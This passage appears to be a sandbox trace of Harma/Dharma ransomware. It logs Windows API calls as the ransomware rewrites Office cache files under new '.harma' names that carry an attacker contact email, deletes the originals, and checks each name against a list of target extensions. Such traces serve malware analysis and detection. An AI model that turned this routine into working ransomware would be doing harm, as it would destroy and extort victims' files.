returned 1 [0041.093] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0041.093] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0041.093] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0041.093] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.093] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.093] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0041.093] GetLastError () returned 0x0 [0041.093] ReadFile (in: hFile=0x168, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x333, lpOverlapped=0x0) returned 1 [0041.180] WriteFile (in: hFile=0x194, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x340, lpOverlapped=0x0) returned 1 [0041.181] ReadFile (in: hFile=0x168, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.181] WriteFile (in: hFile=0x194, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0041.181] SetEndOfFile (hFile=0x194) returned 1 [0041.181] CloseHandle (hObject=0x194) returned 1 [0041.184] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.184] SetEndOfFile (hFile=0x168) returned 1 [0041.185] CloseHandle (hObject=0x168) returned 1 [0041.186] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0041.186] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0041.187] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0041.187] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0041.187] lstrlenW (lpString=".doc") returned 4 [0041.187] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.187] lstrlenW (lpString=".docx") returned 5 [0041.187] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0041.187] lstrlenW (lpString=".pdf") returned 4 [0041.187] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.187] lstrlenW (lpString=".xls") returned 4 [0041.187] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.187] lstrlenW (lpString=".xlsx") returned 5 [0041.187] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0041.187] lstrlenW (lpString=".ppt") returned 4 [0041.187] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.187] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0041.187] lstrlenW (lpString=".zip") returned 4 [0041.187] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.187] lstrlenW (lpString=".rar") returned 4 [0041.187] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.187] lstrlenW (lpString=".bz2") returned 4 [0041.187] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.187] lstrlenW (lpString=".7z") returned 3 [0041.187] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.187] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0041.187] lstrlenW (lpString=".dbf") returned 4 [0041.187] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.187] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0041.187] lstrlenW (lpString=".1cd") returned 4 [0041.187] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.187] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0041.187] lstrlenW (lpString=".jpg") returned 4 [0041.187] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0041.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0041.188] lstrlenW (lpString=".doc") returned 4 [0041.188] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.188] lstrlenW (lpString=".docx") returned 5 [0041.188] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0041.188] lstrlenW (lpString=".pdf") returned 4 [0041.188] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.188] lstrlenW (lpString=".xls") returned 4 [0041.188] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.188] lstrlenW (lpString=".xlsx") returned 5 [0041.188] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0041.188] lstrlenW (lpString=".ppt") returned 4 [0041.188] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0041.188] lstrlenW (lpString=".zip") returned 4 [0041.188] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.188] lstrlenW (lpString=".rar") returned 4 [0041.188] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.188] lstrlenW (lpString=".bz2") returned 4 [0041.188] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.188] lstrlenW (lpString=".7z") returned 3 [0041.188] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0041.188] lstrlenW (lpString=".dbf") returned 4 [0041.188] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0041.188] lstrlenW (lpString=".1cd") returned 4 [0041.188] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0041.188] lstrlenW (lpString=".jpg") returned 4 [0041.188] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.189] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0041.189] lstrlenW (lpString="Office32WW.xml") returned 14 [0041.189] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0041.211] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=4274) returned 1 [0041.212] CloseHandle (hObject=0x1a4) returned 1 [0041.212] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0041.212] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0041.212] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0041.212] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.212] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.212] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0041.212] GetLastError () returned 0x0 [0041.212] ReadFile (in: hFile=0x1a4, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0041.214] WriteFile (in: hFile=0x18c, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0041.215] ReadFile (in: hFile=0x1a4, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.215] WriteFile (in: hFile=0x18c, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0041.215] SetEndOfFile (hFile=0x18c) returned 1 [0041.215] CloseHandle (hObject=0x18c) returned 1 [0041.218] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.218] SetEndOfFile (hFile=0x1a4) returned 1 [0041.219] CloseHandle (hObject=0x1a4) returned 1 [0041.219] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0041.220] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0041.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.220] lstrlenW (lpString=".doc") returned 4 [0041.220] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.220] lstrlenW (lpString=".docx") returned 5 [0041.220] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0041.220] lstrlenW (lpString=".pdf") returned 4 [0041.220] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.220] lstrlenW (lpString=".xls") returned 4 [0041.220] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.220] lstrlenW (lpString=".xlsx") returned 5 [0041.220] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0041.220] lstrlenW (lpString=".ppt") returned 4 [0041.220] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.220] lstrlenW (lpString=".zip") returned 4 [0041.220] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.220] lstrlenW (lpString=".rar") returned 4 [0041.220] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.220] lstrlenW (lpString=".bz2") returned 4 [0041.220] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.220] lstrlenW (lpString=".7z") returned 3 [0041.220] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.220] lstrlenW (lpString=".dbf") returned 4 [0041.220] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.221] lstrlenW (lpString=".1cd") returned 4 [0041.221] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.221] lstrlenW (lpString=".jpg") returned 4 [0041.221] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.221] lstrlenW (lpString=".doc") returned 4 [0041.221] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.221] lstrlenW (lpString=".docx") returned 5 [0041.221] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0041.221] lstrlenW (lpString=".pdf") returned 4 [0041.221] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.221] lstrlenW (lpString=".xls") returned 4 [0041.221] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.221] lstrlenW (lpString=".xlsx") returned 5 [0041.221] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0041.221] lstrlenW (lpString=".ppt") returned 4 [0041.221] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.221] lstrlenW (lpString=".zip") returned 4 [0041.221] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.221] lstrlenW (lpString=".rar") returned 4 [0041.221] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.221] lstrlenW (lpString=".bz2") returned 4 [0041.221] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.221] lstrlenW (lpString=".7z") returned 3 [0041.221] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.221] lstrlenW (lpString=".dbf") returned 4 [0041.221] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.222] lstrlenW (lpString=".1cd") returned 4 [0041.222] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.222] lstrlenW (lpString=".jpg") returned 4 [0041.222] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.222] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0041.222] lstrlenW (lpString="Office32WW.xml") returned 14 [0041.222] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0041.223] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=4274) returned 1 [0041.223] CloseHandle (hObject=0x1a4) returned 1 [0041.223] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0041.223] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0041.223] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0041.223] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.223] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.223] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0041.224] GetLastError () returned 0x0 [0041.224] ReadFile (in: hFile=0x1a4, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0041.226] WriteFile (in: hFile=0x18c, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0041.227] ReadFile (in: hFile=0x1a4, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.227] WriteFile (in: hFile=0x18c, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0041.227] SetEndOfFile (hFile=0x18c) returned 1 [0041.227] CloseHandle (hObject=0x18c) returned 1 [0041.233] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.233] SetEndOfFile (hFile=0x1a4) returned 1 [0041.234] CloseHandle (hObject=0x1a4) returned 1 [0041.235] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0041.235] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0041.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.235] lstrlenW (lpString=".doc") returned 4 [0041.235] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.235] lstrlenW (lpString=".docx") returned 5 [0041.235] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0041.236] lstrlenW (lpString=".pdf") returned 4 [0041.236] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.236] lstrlenW (lpString=".xls") returned 4 [0041.236] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.236] lstrlenW (lpString=".xlsx") returned 5 [0041.236] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0041.236] lstrlenW (lpString=".ppt") returned 4 [0041.236] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.236] lstrlenW (lpString=".zip") returned 4 [0041.236] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.236] lstrlenW (lpString=".rar") returned 4 [0041.236] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.236] lstrlenW (lpString=".bz2") returned 4 [0041.236] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.236] lstrlenW (lpString=".7z") returned 3 [0041.236] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.236] lstrlenW (lpString=".dbf") returned 4 [0041.236] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.236] lstrlenW (lpString=".1cd") returned 4 [0041.236] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.236] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.236] lstrlenW (lpString=".jpg") returned 4 [0041.236] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.237] lstrlenW (lpString=".doc") returned 4 [0041.237] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.237] lstrlenW (lpString=".docx") returned 5 [0041.237] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0041.237] lstrlenW (lpString=".pdf") returned 4 [0041.237] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.237] lstrlenW (lpString=".xls") returned 4 [0041.237] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.237] lstrlenW (lpString=".xlsx") returned 5 [0041.237] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0041.237] lstrlenW (lpString=".ppt") returned 4 [0041.237] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.237] lstrlenW (lpString=".zip") returned 4 [0041.237] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.237] lstrlenW (lpString=".rar") returned 4 [0041.237] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.237] lstrlenW (lpString=".bz2") returned 4 [0041.237] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.237] lstrlenW (lpString=".7z") returned 3 [0041.237] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.238] lstrlenW (lpString=".dbf") returned 4 [0041.238] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.238] lstrlenW (lpString=".1cd") returned 4 [0041.238] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0041.238] lstrlenW (lpString=".jpg") returned 4 [0041.238] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.238] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0041.238] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0041.238] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), 